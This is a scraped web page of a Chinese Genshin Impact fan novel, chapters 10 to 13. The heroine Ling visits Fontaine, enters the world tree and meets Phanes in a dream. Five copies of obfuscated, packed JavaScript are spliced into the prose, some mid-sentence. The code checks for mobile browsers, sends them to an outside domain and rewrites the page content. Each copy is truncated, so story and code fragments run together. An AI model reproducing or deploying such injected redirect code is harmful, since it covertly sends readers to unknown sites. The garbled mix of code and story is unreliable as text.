0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463377|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“原来如此，难怪无糖的喝起来也有一股香香甜甜的味道。”云堇若有所思，“如果我自己买「黑岩碎银」冲泡，加牛奶，也能做成差不多的味道吧？” 辛焱想了想：“听上去差不多，可能会寡淡一些，不过这样随时随地都能喝到，也不错。” 于是云堇询问：“钟离先生，你知道哪家的「黑岩碎银」品质好一些吗？我想在去枫丹之前多买一些。枫丹流行喝红茶加奶，如果把「黑岩碎银」作为特别的伴手礼，应该也很合适吧。” 零终于抢在派蒙之前抓住了关键：“枫丹？” “今天从月海亭那里收到了枫丹舞台艺术交流活动的邀请函，还没来得及通知云翰社的大家，明天我会详细在社内介绍情况。简单来说，我打算以文场为主，武场为辅，组成大概七人的小团去枫丹。” 云堇盯着零：“这个小团里肯定有你，所以后面要认真跟着我打包行李。” 这种姐姐气势让零有些招架不住，只好答应：“嗯嗯嗯，好好好。” “感觉你好敷衍啊。” “不不不，云堇姐姐，怎么会呢？”零迅速使用人类普遍技能，求饶，“我对枫丹，嗯，充满了兴趣！你想，辛焱都给我做了一个枫丹鲸鱼抱枕，我怎么会敷衍呢？” 这个蹩脚的求饶提醒了辛焱，辛焱转身从道具包里掏出一个软绵绵的抱枕，递给她：“上次许诺你的新抱枕，正好给你带去枫丹。” 这个新抱枕的样子…… 这个岩金的配色…… 空和派蒙悄悄地对视一眼。 零举起这个长条条圆滚滚胖乎乎的抱枕，大眼瞪着抱枕眯缝的小眼：“这是个……毛毛虫？” 尴尬了…… 空和派蒙自以为不留痕迹地朝钟离那里看了一眼。 钟离云淡风轻地坐着喝奶茶。 “这是岩王爷的先祖法蜕啦。”辛焱说，“璃月港里私下超流行的，我还是从别人那里拿到的打样图纸呢。” 一时间不知道是岩王爷的先祖法蜕抱枕在璃月港私下流行最后流行到正主面前OOC呢，还是本着死了的岩王帝君关我活着的钟离什么事的态度端坐在一旁喝奶茶的钟离OOC。 空的大脑中飞快地闪过以上74个字不带喘气的吐槽。 零捏了捏先祖法蜕抱枕软乎乎的祥云尾巴，疑惑地自言自语：“所以是条龙？为什么是条龙？” 10. 第 10 章 漫步于枫丹的街头巷尾，时不时会遇到精心雕琢的喷泉与雕塑，它们不仅装点了这座城市的容颜，更增添了几分艺术的气息。 碧波荡漾的水面上，倒映着充满独特建筑特色的房屋，让人真真切切地感受到自己身处异国他乡。 与云翰社代表团内其他人的游览感受不同，零一句话杀死比赛：“很弗朗西斯。” 又不知道这位思维神奇的乐师在想什么，团里其他乐师选择闭嘴。 派蒙当然不会选择闭嘴，她问：“弗朗西斯是什么？” “不是像我一样的东西，是个人啦。算是老师的朋友吧？” 这个解释和没解释有区别吗？ 受到芙宁娜导演邀请也过来凑热闹的旅行者心想。 不得不说，这次枫丹舞台艺术交流活动办得非常盛大，有去年千灵映影节的架势了。唯一的区别是，一个是舞台现场演绎，一个是映影。 一时间，枫丹大街小巷满是各国舞台戏剧相关人士，以及爱好者们。大家相聚此刻，操着提瓦特大陆通用语，交流着各自的经验心得，很是热闹。 提起通用语这件事，空突然想起派蒙曾经夸过自己短短几个月就把提瓦特大陆通用语学会了，好奇地问喝着枫达的零关于语言的事情。 “嗯？这个难道不是一看就会吗？”零叼着吸管，奇怪地说，“字母符文文字还是很容易的，和系统导入字体的过程相似。璃月的文字和小篆差不多，一开始要脑子多想一下，后来就习惯了。当然了，我还是习惯简体文字。” 多嘴了，空后悔，应该把派蒙的夸奖藏在心底，而不是拿出来炫耀。 零试图安慰：“刚刚听须弥歌舞剧团的人说，教令院要求学生毕业前学会至少二十种语言。和他们比起来，我们都算是文盲。” 这种安慰和没安慰毫无区别。 空决定远离知识辖区，去食物辖区把派蒙捞回来。 零喝完枫达，打了个充满气泡的嗝，起身溜达溜达消化。 喷泉边上，几个孩子和不知道哪位美露莘正在讲绘本故事。也许是与枫丹本地人不同的脸庞，孩子们拉住闲逛的零，邀请她一起听故事讲故事。 对人类幼崽实在是最应付不来，可逃也逃不了，零只好坐下来。 自称叫布蕾莘的美露莘说，自己的警备工作正好轮班结束，正值艺术交流周，休息之余就和大家一起讲故事。 于是零听了一个星空鲸鱼的故事。 「诗人常将星空比做海洋。 他们见过或是梦见过无月的漆黑海面上闪着磷光的无数浮游生物，状似银河；又或者是洒落在海面上的月光被波浪绞碎，就如同闪烁的星光。 在最魔幻的故事里或是最疯癫的诳语中，宇宙深处真正的星辰或许也如提瓦特一般充满了生机，而宇宙本身就如同海洋。 但从现实的角度来看，假若存在深邃的、充满了生命的宇宙，为何这些生命至今也未与提瓦特人进行接触呢？ 或许宇宙渗入提瓦特的过程从未停止；也许更高的意志为它划定了边界是为了保护这个世界。 鲸鱼是星间漂泊之物，穿梭于星球之间，吞噬世界中的一切应吞噬之物，让宇宙在鲸鱼的肚子里获得新生。 但这种新生是真的新生吗？ 白纸化的文明还能被称为文明吗？」 这种故事真的是童话故事吗？零心里想着。孩子们催促她讲故事，她想了想，决定讲一个真正的童话故事。 「一个大雪天，兔妈妈要外出去找萝卜，怕小兔一个人在家寂寞，就在门外堆了个雪人，让雪孩子和小兔作伴。 小兔和雪孩子成了朋友，一起滑冰一起玩雪，非常开心。 小兔回屋往炉子里添柴烤火，慢慢睡着了，不小心屋里着了火，兔妈妈还没有回来。 雪孩子看见屋里着火了，奋不顾身地冒火冲进屋里，救出了小兔，自己却融化成了水，消失了。 小兔和兔妈妈心里难过极了。 但是，雪孩子并没有离开它们。 当太阳出来以后，雪孩子化的一滩水变成水汽，飘到天空，又变成一朵白云。雪孩子变成的白云在天上轻轻漫游，朝地上的小兔和兔妈妈招手。」 “呜哇！——”不知为何，听完故事，孩子们都哭了起来。 零不知所措，果然自己应付不来人类幼崽。 “这只是个科普童话啊，知道雪孩子是由固态的水做成的雪人，雪遇热以后会变成液态的水，然后水又会变成气态水，水蒸气升到天空变成了云。有什么可哭的？水还是水啊。” 孩子们哭得更伤心了，一个小女孩抽泣着说：“可是，雪孩子不见了啊。” “雪孩子做了一件值得骄傲的事，而不是什么都不做，等待命运到来，阳光把自己毫无意义地融化。”零不解，试图解释，最后选择放弃，求救般地看向布蕾莘。 布蕾莘叹了口气，说：“这位璃月的客人不了解孩子们纯真的感情吧，孩子们非常珍视眼前美好的友情。” 人类幼崽果然很难懂。 把一群孩子惹哭了的始作俑者，默默地离开讲故事现场，莫名有些沮丧。 云翰社作为舞台艺术交流活动中璃月的台柱子，连着三天表演了之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463378|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在璃月广受好评的戏目，因为太过火爆，作为“安可阶段”的回礼，云堇又带着大家加演了海灯节的表演。 忙于工作，零把喷泉边故事会的沮丧早就抛到九霄云外了。 等到快回璃月的时候，闲聊之余听空讲起枫丹之前的原始胎海危机，零才想起布蕾莘讲的那个星空鲸鱼的故事。 所以讲的就是吞星之鲸——无光丝线的供应商吗？ 然后她得知了那个名为「水仙十字结社」选择与拯救枫丹的故事。 “输入值发生变动，将变量加入算式，得出的结局已经注定。”零思考着，“但是如果这个结局一开始就是注定的，根本不需要这个算式呢？” 空一时间无语，如果这样，「水仙十字结社」一开始就是无用功吗？ “不不。我不是这个意思。”零摇摇头，“你知道「饱和式救援」这个概念吗？人类的一切努力都不是无用功，只是在无数不可能中寻找可能的生机，这比从一开始就躺平接受命运要好得多。” 在这个讲故事的章节中，轮到零讲自己知道的第二个故事。 「这是一个银河系悬臂上小小的太阳系中小小的地球的故事。 科学家们发现太阳急速衰老膨胀，短时间内包括地球在内的整个太阳系都将被太阳所吞没。 为了自救，人类提出一个名为“流浪地球”的大胆计划。 倾全球之力在地球表面建造上万座行星发动机和转向发动机，推动地球离开太阳系，用两千五百年的时间奔往另外一个栖息之地。 经过木星时，全球的行星发动机停摆，为了修好发动机，阻止地球坠入木星，全球开始展开饱和式救援。 在与时间赛跑的过程中，无数的人前仆后继，奋不顾身，只为延续百代子孙生存的希望。 小小的地球终像方舟一样，承载着文明的希望驶向宇宙深处。」 听完故事，空问：“你知道「提瓦特」是什么意思吗？” 自诩“和教令院学生相比就是文盲”的数学爱好者摇头。 “在某一种语言中，它的意思是「方舟」。” 相传，神告诉良善之人，世界将卷起一场毁灭一切的洪水，于是良善之人建造了一艘船舰，载上文明的种火，逃过了这场寂灭的洪水。 此即为方舟。 此间宇宙也将走向不可逆的命运结局，这颗星球承载着树叶上最后的希望，也即将迎来肉眼可见的终焉吗？ 如机器过载一样，零一动不动沉默了很久。 最终，她对旅行者发出委托。 “我想去须弥，看看世界树。” 11. 第 11 章 沉浸入世界树。 没错，是沉浸。 旅行者带着引见了小吉祥草王，草神爽快地答应了进入的权限。 “无需在意输入值的变动，也无需在意算式的平等，你我在此相会，理所当然。”小小的神明这么说着，示意边上戴着帽子的少年让开。 零微妙地察觉到这个少年和冒险家协会的接待员有一点相似之处， 察觉到这点，再仔细一想，自己从某种概念上来说，和他们也没啥区别。 于是干脆放弃研究这个问题，如进入海洋一般，她深潜入世界树的内部，树枝树叶的虚影在眼前慢慢消失，呈现在自己面前的，是世界树的最底层。 竟然是，原始胎海的海水。 虚数之树和量子之海托举起宇宙的无数文明，树生长在海之上，树根从海中汲取能量，树欲吸收海，海欲淹没树，是敌对也是共生。 这种神奇的相互依存相互克制的关系，在提瓦特的世界树最底层的逻辑架构中竟然是残缺的。 世界树与原始胎海无法达成同谐。 眼前闪过转瞬即逝的绿色碎片，如同世界树向自己发出了挑战。 零难得带了点兴奋的跃跃欲试：“系统永久删除的文件也是能找回的。” 世界树内无数青绿色的由0与1构成的洋流开始涌动，带起洄映的漩流。 星海般的瞳孔陷入鎏金的虚空，流金的0与1的代码在漩流之中疾驰，时不时抓住绿色碎片。 最终，碎片合并同类项，被永久删除的文件出现在了量子之海中。 「作为大慈树王，我是世界树的化身，而你则是世界树上折下的最纯净的枝杈。 就好比……即便树木死去，枝杈亦有一天会生根然后长大，以另一种形式延续生命。 你我的本质虽然相同，但命运一定会有所不同，万物都有着自己的命运。 就像枝杈长成了新的大树以后，和原来的那棵不可能是一模一样的。」 世间的「智慧」、「知识」、「信息」都存储于世界树当中。 而这些又与「记忆」紧密联系，「记忆」是世界树的重要部分。 禁忌的知识，如深渊一般翻腾，吞饕的黑洞肆无忌惮地将其尽数吞噬。 本就无需忌惮，这是宇宙应有的熵。 宇宙熵增趋势推动万物走向无序。 暗能量使宇宙膨胀加速，将一切撕裂；暗物质产生的万有引力导致宇宙收缩，其终焉是宇宙的寂灭。 生命却与之不断抗争，力图让宇宙得以继续存续，文明得以继续延续。 生命的抗争让宇宙的意识也弥散出自救的想法。 虚无的躯壳呢喃着：“代价是什么？” 「让世界，彻底遗忘我。」 为了对抗无情的且注定的宇宙结局，智慧生命需要抹煞孱弱的私欲与个体的差别，融入同一阙谐乐中——以强援弱，以死护生，以此试图扭转万物不可避免的结局——走向无序。 世界树与原始胎海恢复了宁静，大慈树王纯白的长发落在虚无的躯壳上，温柔地抱着宇宙意识的一部分。 吞饕的黑洞渐渐平息，同谐的流光慢慢变淡，人类的意识终于从深处再次浮上海面，零睁开了眼眸。 “这是第二层的解封条件么……”她坐起身，自言自语着，抬头看向大慈树王，“虽然我没有契约的权能，但是我想与你做一个关于文明延续的约定。” “当方舟再次起航之时，无论星球上任何人阻拦，都不要回航，也不要回头。” “以此作为回报，我将架构完善星球的最底层代码指令。” 大慈树王坐在树与海的交界处，倾听着她的承诺，颔首答应了一切。 人类露出了微笑：“放心吧，我可是国际大学生程序设计竞赛的优胜者。” 浸入世界树内是察觉不到时间的流逝的，等浮出世界树，零发现外面少了个戴帽子的人偶，多了个钟离。 很像是自己躺在ICU当植物人当了十年，醒来时发现物是人非的狗血人类电视剧剧情。 零望着三人脸上如释重负的神情，心里第一反应是这个。 然后她试探着问：“我是进去躺了十年吗？” 空露出了“没有被换人，零还是那个零”的表情，表示倒也没有十年这么久远，也就一个星期而已。 而已个大头鬼！ 进去第一天没有出来，空就开始慌了，反复跟纳西妲确认里面不会死人。 进去第二天没有出来，空有些手足无措了，纳西妲自己确认了一遍程序运转没有报错，又让阿帽确认了一遍。 进去第三天没有出来，空已经想好遗言了，硬着头皮通知了钟离，钟离立马赶到，站了良久，终于确认，自己的同源在理论上生命体征比较平稳。 接着就是第四天、第五天，直至第七天。 听罢，零安慰他们：“我没事啦，换个角度想，7这个数字很不错嘛！这可是一个不对称、不可约、不可分解的特异素数。邓布利多都说7是一个神奇的数字。” 空无奈地表示，先不提邓布利多是谁，这个数学爱好者状态可以确认没有被什么奇怪的禁忌知识附身了。 钟离叹了口气：“无论如何，回来了就好。” 之前从枫丹来须弥时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463379|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟云堇保证过很快就回璃月会合，这下进去一个星期，再不回去就食言了。 为了不让云堇担心，零对纳西妲道谢，和钟离先行一步。 钟离没有直接带她回到璃月港，而是进入洞天，严肃地与她长谈：“你去须弥世界树的决定，应该提前告知我，而不是等出事了，旅行者过来通知。” 零没想到他的谈话主题是这个，还以为他想问世界树里发生了什么，有些讪讪地说：“我以为进去看一下逻辑架构就出来了，问题应该不大，没想到这么久……让空担心了，嗯，也让你担心了。” “我受到世界规则的影响，之前忘记了什么，这次你进了世界树见到那位大慈树王了吧，因为本源的影响，我也想起来了。” 钟离的神色并未转霁，金珀的眼眸愈发认真：“不要想着学大慈树王的自我删除，这没有用。” 这当然没用啦。 自我删除依旧无法避免暗能量与暗物质让宇宙走向无序的结局。 零心想，毕竟熵增与熵减也是宇宙的存在概念。 等等，概念？ 钟离的呼唤让她从思考中回过神来，看着对方对自己走神的不悦，零赶紧保证：“我还是很喜欢作为人类的存在生活感，不会那样的，你别生气。” 钟离忍不住又是叹气：“我没有生气，你见过至冬的仿生人偶和雷神制作的人偶了吧。对于人偶来说，若有心者方为人，无心者则非人；若无心者亦有悲喜苦乐，便是最像人的人偶。” “你不一样，你是有心的。”宇宙贵金的心脏坚定地说。 “你并非虚空之物，你是人，你已经生出有悲喜苦乐的人之心了。难道你没有发现吗？” 人之心…… 零惊诧地抬手摸了摸心口，试着感受皮肤下的心跳：“真的吗？我怎么感觉不到？” 引导人类，与人同行的璃月守护者笑了。 “初生的人类，只能说是动物的本能，对自己的认知还处在一片混沌中，既不知道什么是责任，也不知道怎么才能负责任，被基本的生存欲望驱动着在这个世界上生活。” “在文明的进程中，人类用意志对抗自己的惰性，直面痛苦不逃避，努力精进不推诿，生存是责任，文明的延续更是责任。” “你的老师一定花了很多心血教你感悟人类社会吧，你已经知行合一，不需要用意志力来逼迫自己了。” “所以，你也要相信，团结是文明延续的另一个秘诀，相信我，相信人类，不要什么都独行，好吗？” 与本源之间，无需契约，也无需约定，为了都是共同的目标。 零说：“好。” 12. 第 12 章 我是人。 走在璃月的街道上，内心有一种奇妙的感觉。 我是人。 推开门，在院内晒抱枕的云堇一把扑上来：“你不是说很快就回来吗？” 我是人。 零收紧胳膊，抱住云堇。 如果她此时照镜子，或者云堇从她怀里探出头看一眼，就会发现这张脸上浮现出从未有过的温柔神色：“对不起，我回来了。” 零没有发现，云堇也没有发现。 挂在晾衣绳上的吞星之鲸和先祖法蜕看到了，但抱枕又不会说话。 这种新生的情感不知不觉被云翰社的老乐师们发觉了，老人家们纷纷夸奖琵琶文曲弹得越来越有韵味了。 “所以我以前的演奏真的只有技巧没有感情吗？”零有些不知所措，自己根本没听出来什么韵味。 云堇赶紧说：“不是啦，你一直都能做到曲与唱严丝合缝。” 云堇姐姐我的爱！呜呜呜！ 清澈大学生的纯真感情浮出水面，零真情实感地表示，云堇值得最好的。 辛焱也发现了。 在她的演唱会结束后，零借用辛焱自制的阮咸拨了一曲《将进酒》。 辛焱大为称赞：“上次纳塔嘻哈摇滚大会你应该和我一起去，我们双奏才带感！” 零十动然拒：“算了算了，听说那次大会有个作曲家写了个曲谱，难度高到稻妻的乐师差点没把弦拨断。” 辛焱大笑：“这事怎么传得到处都知道了，稻妻的乐师一边不服输咬牙练习，一边和朋友埋怨呢。你想试试吗？我有曲谱哦。” 零眼睛发光：“真的吗？” “诶——刚才是谁还一脸拒绝的。”辛焱忍不住捏捏她的脸，“零的表情生动了好多，真可爱。” “可爱？” 第一次听到这个词语和自己联系在一起。 辛焱又忍不住伸出魔爪：“这种对自己喜欢的事情和东西闪闪发光的表情，超可爱的好吗！” 在边上看着辛焱的坏笑和零的茫然，云堇挺身而出：“太过分了！我都没捏过，让我也捏捏！” 坏了，这个挺身而出另有目的。 被荼毒后的零更加茫然了，站在边上望着辛焱和云堇在收拾演唱会器材，自己揉着被左捏捏右捏捏的脸，满脑袋问号。 然后无意识间，她感受到了名为「幸福」的情感。 如果让时间停留在这一刻，该有多好。 但这并不可能，舞台上的戏剧终有谢幕之时，可此时此地，人类的情感在心中闪闪发光。 辛焱给的那位作曲家的曲谱，果然暗藏杀机，旋风无影手能拨到起火。 只能说不愧是来自火之国的曲谱吗。 和稻妻的乐师一样，越有挑战性的，越让人牙痒痒。 于是零早上练，中午练，下午练，晚上也练。 云堇还没说什么，云翰社的老人家们有些受不了了，让不让人睡午觉了！ 如果璃月有什么12345的投诉热线，估计最近几天周围居民也会打爆热线投诉噪音扰民问题。 “所以这就是你问我借洞天来练习的原因？”钟离倒是不介意，他的洞天不止一个，转手就将书架上的笔筒交给她。 零打量着手上的笔筒，嘴里说：“空最近一直在纳塔，尘歌壶他也有很多用处，不好意思打扰。排除法下来，能找的不就是你了吗？” 钟离对她无奈：“你把‘排除法’那句删了，更好。” “啊？”零满眼困惑。 “旅行者有他自己的使命，你我之间，没有什么不好意思。” “哦，我下次把你作为首位数定理。”她看上去懂了，并没有完全懂，“我本来以为，朋友之间应该雨露均沾，保持数学平衡。” …… 钟离沉默了一下，说：“‘雨露均沾’这个词不是这么用的，你可以换成‘一视同仁’。更何况，你我之间不存在厚此薄彼的问题。” 既然不存在厚此薄彼的问题，零就得寸进尺地举起藏着洞天的笔筒，问：“这个笔筒是用什么做的？亮闪闪的好看！阳光下颜色还会变化。” “这是黑漆螺钿紫檀笔筒。工匠选取瑶光滩上的星螺，打磨成薄如蝉翼的螺钿片，再磨凿切割为极其精细的形态，相当于以螺片代替颜料作画。同时需要反复上漆，将螺钿片和木材之间的缝隙都被填满，再将漆器一遍又一遍打磨，方能展露出螺片星空般的色彩斑斓。” 钟离介绍：“故而有诗云：螺钿妆成翡翠光。上佳的星螺螺钿工艺，其光彩甚至胜过翡翠。” 接着就不知怎么，两个人跑瑶光滩捡星螺了。 准确来说，是零一个人捡星螺。 瑶光滩上的星螺，有的是空壳，倒还能忍受，有的还住着星螺本体，钟离对这些软体海洋动物素来敬而远之。 捡起一个品相完好的空壳，将耳朵凑近细听，据说能听到云来海充满思念的呼唤。 “什么都没听到。”零说，“只是一个空壳而已，值得大海充满思念地呼唤吗？” 钟离不赞成：“不可妄自菲薄，星螺是大海的一部分，也是大海纯美的体现。” 「奇迹」和「希望」是纯美的一部分。 纯美只能存在于概念，不能居于实体，从而为了为了践行纯美将自身消散成了无数碎片，平等地，一视同仁地飘散在宇宙每个个体之中。 概念才是宇宙架构的底层逻辑。 零站起身，从瑶光滩望去，孤云阁矗立于海天一色间。当年岩神投下的岩枪的故事在璃月港流传着，岩枪化为孤高的山峰刺破苍穹，与周遭的宁静形成鲜明对比。 夕阳西下，余晖洒满孤云阁，金色的光辉与蔚蓝的海面交相辉映，光阴已是过去式。唯见波光粼粼，渔舟唱晚，一派和谐宁静的景致。 “我大概知道了。”她喃喃自语，“我一开始觉醒的情感，为什么是「保护」。” 想要留存这一切的纯真与美好。 无论是和人类的友情，还是生活的点滴幸福。 海风吹起她的头发，发梢处如深邃的星海，在终末的阳光下点点璀璨。 在洞天内苦练数日后，这个让稻妻乐师牙痒痒，也让任何乐师看了都会牙痒痒的曲谱，终于小有成效。 听着名为《斩雾破竹》的曲子，空的眼前仿佛出现了幻觉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463380|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始胡言乱语： “三个海乱鬼只掉一个破旧的刀镡，哈哈哈……” “无相铁是吧，恒常机关阵列是吧，哈哈哈，尽管过来！” “哈哈哈须弥的半永恒统辖矩阵我都不怕，还怕你？” “坏了，旅行者听了发癫了。”派蒙评价，“零竟然能面带微笑地弹，也嘎嘎吓人。” 云堇说：“这个曲谱太难了，云翰社里古筝乐师都弹到崩溃，不肯合奏了，只有她一个人抡琵琶。” 这个「抡」字未免用得太传神了。 手指在琴弦间爆发出连绵不绝的音浪，每一次拨动都精准翻飞，快如闪电，疾似流星。 琵琶指甲在弦间穿梭、跳跃，速度之快，令人目不暇接，仿佛能斩断迷雾，劈开重竹。 秋名山的速度与激情看了都得甘拜下风。 弦上狂舞，似乎要将空气撕裂，将情感推向极致。 在这股不可阻挡的力量之下，琴弦终于承受不住，伴随着一声清脆而决绝的断裂声，弦音骤停。 与此同时，琵琶指甲也在这一瞬承受了生命无法承受之重，伴随着琴弦的断裂，也悄然裂开。 “啊。” 零看了看崩断的琴弦，又看了看断裂的琵琶指甲。 派蒙惊呆了：“无光丝线都能被崩断？！” 空面如死灰：“难道还要我去刷吞星之鲸……” 靠谱的还得是见多识广的客卿，钟离仔细地检查了一下，问：“你一开始想用的是什么材料做琴弦？钢丝和……尼龙？” 他显然是回忆起了海灯节那天空的询问。 “对，聚酰胺纤维。以前琴弦是用蚕丝做的，但是蚕丝拨弦的声音比较小，不适合用于舞台，后来中央音乐学院的邝教授和乐器厂制弦师傅一起研制出金属弦，大家逐渐都改用钢丝，外面用尼龙缠绕。” 看着被崩断的琴弦，零显然沮丧了：“这里没有聚酰胺纤维，也没有合适的钢丝，云堇帮我试了好多种材料，最后无意间得知无光丝线这种特别的材料，请旅行者帮忙收集的。我也知道无光丝线不好收集……” 空赶紧解释：“这是和吞星之鲸战斗时，不知不觉缠绕在武器上的细丝，把它撸下来理顺需要费点功夫而已。其实只要有原石，都好办都好办。” 钟离则说：“无光丝线这次能被拨断，说明你自身在无知觉间已经超出了那个阈值，难保不会第二次崩断。不如由我来想办法换个材料，你有代替的琵琶吗？” 云堇点头：“云翰社里有，工作不成问题。” 零见有了希望，举手保证：“我会轻一点的。还有琵琶指甲也要换新的，这个也是用尼龙做的，音色柔和饱满，反而比玳瑁的要好很多。” 钟离观察了一下琵琶指甲的断面，想起什么，问空：“你一定收集了不少鎏金之鳞吧，用那个打磨成形，应该刚好。” 空一滴汗悄悄地流下，他是去南天门刷了好多次若陀龙王。 准确来说，不知道是自己刷若陀龙王，还是若陀龙王刷他。 无论如何，如果若陀龙王知道自己的鳞片被做成指甲片，不知道南天门的大萝卜会不会又要地动山摇了。 13. 第 13 章 她很明确自己在做梦。 地脉即为世界树的树根，自己在无穷无尽的被金色、蓝色包裹的银白色树根之中穿梭，有什么东西进入了大脑系统。 现在可以确认了。 她注视着眼前的白色身影，平静地指出：“你是「原初永恒统辖矩阵」系统的缔造者。” 「原初永恒统辖矩阵」 「Primodial Algorithm of Intransient Matrix of Overseer Network」 「监察网络的……永恒的矩阵……原初的运算规则……」 其缩写即为 「P.A.I.M.O.N」 「派蒙paimon」 缔造者也同样平静地注视着她：“很高兴你用了Primodial，而不是打上Phanes的烙印。” 换个称呼，也可以叫作： 「Phanes Algorithm of Intransient Matrix of Overseer Network」 法涅斯所缔造的永恒统辖矩阵，其即为原初。 零强调：“这是我作为人类的梦境，你属于侵入梦境系统的病毒。” 法涅斯只是说：“优秀的架构师，应该能知道我为什么只能以这样的状态出现在你面前。” 零当然明白，这位提瓦特底层架构的缔造者如同世界树树枝树叶的虚影，已经将自身作为维护系统运转的能量来源，徒留下虚无的影子。 为了抵御宇宙深渊入侵文明最后的方舟，以身入局，期颐能胜「宇宙的终末」半子。 法涅斯继续说：“深渊入侵的前线是纳塔，狩夜者战争开启，但我的力量即将殆尽，保护方舟的蛋壳也将破碎。” 零了然：“我明白，你在给我增加保护星球的砝码。但是方舟系统中最底层的逻辑架构是残缺的，无论时间溯回多少次，都无法解决。我相信，包括你在内，星球上的很多人为了填补残缺付出了很多努力，但是我目前没有想到什么完善的办法。” “是的，付出了很多努力。”法涅斯感叹，伸出手，星球的实况建模出现在两人之间，曲率为负的形态一览无遗。 “暗能量与暗物质已经如深渊一般侵蚀了大半宇宙，现在的宇宙就是一座黑暗森林。在这片森林中，任何暴露自己存在的生命都将被深渊熵增。在面对黑暗时，不仅可能被同化，还可能被黑暗所侵蚀。” “所以最底层的逻辑架构就是「不可探索」。如果没有足够的力量直面深渊宇宙的图景，那么就会忘记了初心仅为生存，徒留相互残杀，与深渊共同终末。” 凝视着星球的实况建模，零不由自主地想到了空经常吐槽派蒙那句“前面的区域以后再来探索吧。” 于是她说：“你与「心脏」立下了什么契约？以至于「心脏」历经六千多年还在等待契约终结。” 法涅斯摇头：“恕我受契约所限无法直言，你可以去问契约的缔结发起者。” 原初之人的虚影伸出双手，与零相握。 “我将系统一切的权限交付与你，无论终末还是延续，我可能已经无力再见到那个明天了。” “真狡猾啊，法涅斯。”零说，“你这样和水神自毁神座有什么区别呢？” 星球的一切像海浪一样，翻腾着涌动着。 她看见了，风起的时光，磐岩的守护，雷鸣的永恒，大树的希望，纯水的追求，烈火的传承，寒冰的牺牲。 她听见了，在反反复复如轮回一般螺旋发展的文明进程中，人类的欢声笑语，人类的悲鸣哭泣，人类的祈愿寄托。 她听见了，呼唤声。 “零——” 睁开眼睛，云堇的脸上写满了担心：“怎么叫你都叫不醒，吓死我了。” 她伸出手，紧紧地抱住云堇，抱得云堇有些不知所措：“怎么了？是不是做噩梦了？” “没……”零靠在云堇的肩膀上，闭上眼，一滴泪水悄无声息地划过脸庞，“没事的，云堇姐姐。” 会没事的。 如约过来测试新材料琴弦，洞天之中，钟离脱下手套，金珀纹路的双手在虚空中将不同矿石融化，拉出细长的丝。 零一根一根试过来，星银矿石、夜泊石、流明石、黑曜石…… 或低沉，或清脆，或轻灵，或稳重，很难相信，这些声音是从岩石中发出的。 “岩石是记忆的载体，以此为蓝图，能铭记很多过去的事情。”钟离不紧不慢地说，一边将第二组石头化成弦线。 自在松石、坚牢黄玉、最胜紫晶、涤净青金、燃愿玛瑙…… 指尖划过弦线，侧耳倾听其间的音符，燃愿玛瑙铸就的红色弦线仿佛能奏出传承与抗争的起伏。 “你知道火神希巴拉克的传说吗？从死去的火龙王的心脏中复活，最初的人神最终复归火中。” 零回忆着旅行者带来的故事，安静地看着自己的本源：“在反复轮回发展的星球文明中，这个故事最初的版本是火神希巴拉克吗？” 钟离放下手，用陈述的口气说：“你见过我在此星球上最初的契约者了。” 当然指的是法涅斯。零抬手，星球实时建模在虚空缓缓转动。 “竟然已经虚弱到这个程度，将权限都交付出去了。”钟离显然对于法涅斯将所有权限尽数交付有些出乎意料。 “我感觉自己被道德绑架了。”零如实说，“我苦思冥想，没有想到什么好办法。所以问你，概念的权能在你这里吗？” 贵金的心脏摇头，洞天内只有他讲述的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463381|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>「星球原本只是星球，新来的人类将其作为方舟。原生的龙和新来的人类一开始很融洽，甚至成了朋友。 